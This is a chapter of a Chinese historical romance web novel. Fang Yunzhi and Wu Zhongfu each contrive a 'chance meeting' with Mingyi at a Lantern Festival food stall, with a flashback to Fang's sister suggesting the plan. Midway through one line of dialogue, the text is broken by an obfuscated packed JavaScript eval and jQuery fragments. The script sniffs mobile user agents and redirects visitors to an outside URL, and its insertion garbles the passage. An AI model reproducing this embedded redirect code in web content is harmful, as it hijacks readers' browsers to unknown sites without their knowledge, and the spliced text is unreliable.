最后,明夷让老板加了两把小杌子,芸芝芙三姊妹挤在一边,眼巴巴地看着自家先生热情的招呼着两位公子吃串。
而这一紫一黄两位公子也非常给面,什么也不问,一坐下就捊起袖子,明夷给什么就吃什么,三姊妹严重怀疑,此刻就算她们先生递两碗毒药上去,这俩也会毫不犹豫地一饮而尽,并夸赞明夷递的东西就是好喝。
明夷笑眯眯的看着两人撸串的样子,刚犯瞌睡就有人递枕头,这样的好事上哪找去?
少女面上笑容愈来愈盛,在这嘈杂的食肆里头,吸引了周围几多食客的目光,吴中孚和方韫之两人感受到周围的窥视,不约而同的或左或右的偏着身子,将周围的目光一下挡去大半。
明夷低头努力克制嘴角的笑容,心里有些惋惜。要是上辈子,有这样一张脸她恨不得天天去大街上晃悠,可是现在…害…门都不能随意出,就算出门动辄帷帽覆面,也就逢年过节松活一些,能与外头的空气浅浅来个亲密接触。
…不过说到出门,明夷看着两人疑惑道:“你们怎么会一起出现在这里?”倒不是她多管闲事,只是两个男的一起逛元宵,还是被她拒绝了邀约的两个男的,越想越觉得奇怪。
方韫之放下手中的羊肉串刚要开口,就被旁边的吴中孚打断道:“刚刚在街上碰到了,看这家店生意很好,所以进来看看。”
方韫之伸手接过明夷递过来的山鸡腿,边思考着如何优雅的将上面的肉卸下来,边附和的点点头。
其实他俩的确是偶然碰见的,但不是刚刚,也不是在街头。
那日从吴府回去以后,方韫之就一直在思考办法,随着十五越来越近,毫无头绪的他不得已去妹妹那旁敲侧击的求助。
方宁之看着自己平日无事不登三宝殿的哥哥在她面前开口就是“我有一个朋友”,笑得喷了口茶。方韫之满脸嫌弃的摸了块帕子递过去,方宁之伸手正要接,后者突然发现手中的帕子是明夷赠的,又立马缩了回去。可怜方小妹伸出的手扑了个空,人懵的都快忘了自己还在咳嗽。
方韫之挪了挪位置,又将茶杯端到一边,纠结着要不要干脆走了算了,看她那傻样能想出什么好主意?
方宁之咳得满脸通红,一抬眼就猜出了哥哥的想法,连忙发言道:“咳…我咳咳…我有办法…咳咳咳…你再仔细说说。”
方小妹作为家中最小的孩子,上有两个哥哥,从小就明白何为血脉压制,大哥比她大得多,两人相处较少没什么好说,但她这位二哥,两人相处不可谓不是鸡飞狗跳。
当然,以上鸡飞狗跳动作全由她一人完成,方韫之主要负责挑起能让她炸毛的情绪。
待大了些,两人相处转武为文,方韫之又开始盯她学习,每日自己上下学堂还不够,一定要把她也拎到书房一起。可当时只有几岁的她字都认不得几个待在书房能干个什么?但方韫之不那么认为,小小年纪的他对着自己还没桌腿高的妹妹一本正经的教育道:年龄不应成为学习的限制,有道是知无涯者,你得赢在起跑线上……
小宁之听得脑袋打摆摆,方韫之见小妹点头了,高兴的说了句“孺子可教也”,然后专门让人在书房里给她置了把小椅子,每日等他下学回来就得乖乖坐那儿,至于干什么?听他背书。
方韫之认为自己这个方法甚好,乃有一箭双雕之意,有了观众监督,他背书也能更加认真,而小妹虽年纪还小,但整日耳濡目染,定能有所进步。
待她再大些,方韫之又分了一小半书案给她,至于又干什么?写大字。
方宁之回忆,说起来,还是她二哥给她开的蒙,如今能得到个外人才思敏捷的评价,她二哥的作用不可谓不重要,只是——女孩满脸黑线,这样太苦了点吧!
到底是有多丧心病狂,才能想出让五六岁的小女孩天天到点就进书房坐着听人读书?不让乱动不让吃东西也没有玩具,偏偏她又一直有点怵这个二哥,毕竟是从襁褓开始就饱受“打压”,想到这,方小妹摸摸抱紧自己,够了,她自己心疼!
找爹娘告状是无用的,他们只会觉得家里的小泼猴有人能制住简直太好了,而且还是带着她学习,这简直是好上加好!一往外说,大家伙都羡慕得不行。夫妻俩完完全全站在方韫之的后面,小小的方宁之仰望着抱臂立在面前,命她练字的伟岸二哥,第一次感觉到什么叫做深深的“绝望”。
好不容易来了个明夷阿姊,让她得以找她哥的乐子玩,这怎么能轻易放过呢?方宁之狗腿地给自家二哥重新倒了杯茶,收起面上贼兮兮的笑容,绷着小脸严肃道:“您说您说。”
方韫之古怪地看了眼自家小妹,总感觉她不怀好意,但…他也说了是朋友,朋友懂吗?和他没关系!别人的事还是很好开口的,于是乎,方韫之端着茶杯沉吟一会儿,将事情来龙去脉说了个大概。
“说完了?”方宁之严肃道
“说完了。”方韫之点点头
“就这?”方宁之不可置信,你玩我呢?
“就这?”方韫之眯起眼睛,表情危险。
“没有没有,嗯…你这个问题很大,但也不是没有办法,让我好好思考一下。”方宁之死命绷住嘴角。
“都说了不是我的问题,是我的朋友……欸阿宁啊,你脸是不是抽筋了?表情怎么那么怪呢?”方韫之瞅着小妹奇怪道。
“你脸才抽筋呢!你全家都抽筋!知不知道这样说一个姑娘是非常不礼貌的!”方宁之张牙舞爪的上前,一把掐住自家二哥的脸。
方韫之嫌弃地打掉小妹作乱的爪子,拧着其耳朵道:“反了天了不成?”
方宁之反抗无果,叉着腰背过身去,气鼓鼓道:“不想理你。”
方韫之挑挑眉,“那我走?”
方宁之立马转过身来,叫道:“不行!我原谅你了!”
方韫之躬身笑倒,在自家小妹红温之前直起身子一本正经道:“你若能想到合适的办法,二哥可以答应你一个要求。”
方宁之双眼瞬间一亮,喊道:“真的?”
方韫之笑眯眯的看着眼前的小妹,道:“君子一言,驷马难追。”
“其实方法很简单,就俩字''偶遇''”!
“嗯?”方韫之作洗耳恭听状。
“哎呀,怎么感觉有点口渴呢?”方宁之若有所指的瞟了眼面前空空如也的茶杯。
方韫之立马端起茶壶给人满上。
方宁之装模作样的端起茶杯喝了一口,又道:“要是有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15767316|166940||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些吃的就好——”
“方宁之我看你是皮痒了。”方韫之挑了挑眉,表情温和。
方宁之立马打了个寒颤,连忙道:“你看嘛,明啊不,那位女子竟然拒绝了你朋友的邀约,但她肯定是要去元宵灯会的,那你也…你朋友也可以去啊!左右那条街又没多长,最后大家都会聚到灯楼那看烟火,留心找找肯定是能找到的,到时候来个偶遇,并肩走一段路也是十分自然的。”
方韫之垂眸沉思了一会儿,觉得是个可行之策,冲着妹妹点点头道:“谢了。”然后便起身准备离开。
方宁之一边小声嘀咕着“用完就丢真没良心”,一边冲着二哥的背影大喊:“别忘了你说答应我一个要求!”
方韫之冲着背后扬扬手,道:“知道啦,你自己好好想想要什么。”
十五当天,方韫之特意穿了件蕈紫色云雷纹交领直袍,头上戴了顶丝绦儒巾配玉簪固定,最后在方宁之的坚持下,又加戴了一条卧兔围在额边。方韫之摸着额头处的貂毛有些不自然道:“真要戴这个?”
方宁之重重点头:“哥,现在的你就连那潘安卫玠来了都要甘拜下风!”
方韫之失语,过了好一会才道:“回来给你带礼物。”
从方府出发,去灯会处要经过吴府,方韫之看着左前方印着吴氏家徽的马车,心里突然有了预感,伸手将车窗拉开,定睛一看,前面车窗边那个头戴着乌纱描金逍遥巾,侧边还插支碧玺梅花簪的俊俏少年不是吴中孚又是谁?
吴中孚显然也看见了方韫之,两人隔着车窗面面相觑,互相陷入沉默。
下车之后,方韫之上前打招呼,道:“你也来逛灯会?一个人?”
吴中孚点点头,抬眼道:“你也?”
方韫之哈哈道:“听说灯会能近距离观察市井的生活和习俗,所以来看看。”
吴中孚面无表情的点头,“我也是。”
“那先逛逛?我打算去那边看看。”方韫之指了指前方的岔路。
“我打算去那边。”吴中孚朝另一个方向扬了扬下巴。
“那真不巧啊,就先不打扰你了,祝你有所收获。”方韫之拱手道别。
吴中孚侧身回礼,也道:“同祝韫之兄有所收获。”
只是——
方韫之看见同样站在签菜食肆前的吴中孚,表情尴尬,“这么巧。”
吴中孚额角抽搐,他看这家生意红火,卖得东西也较为少见,想着先去尝尝,若是好吃下次就带明姐姐来吃,结果不想怎么又遇到这人。
方韫之所思所想与吴中孚一模一样,两人面对面站在食肆前,正忙着烤肉的老板疑惑地看了呆站着的两人几眼,中气十足道:“二位是要用膳吗?”
“是的老板,里头还有位吗?”方韫之礼貌道,侧头又递给吴中孚一个和善的眼神,道:“一起进去看看?”
吴中孚点点头,两人跟着伙计抬步往里走,食肆过道狭窄,两人注意着两边不要碰到旁人,有道是顾左右难顾前后,突然方韫之感觉腿上撞上个软乎乎的东西,垂眼一看,是个神色讪讪,穿着件金缕牡丹锦缎夹棉袄的小姑娘,再一抬头,就看见坐在一筒竹签后面,举着一根烤串,吃得嘴唇亮晶晶的明夷。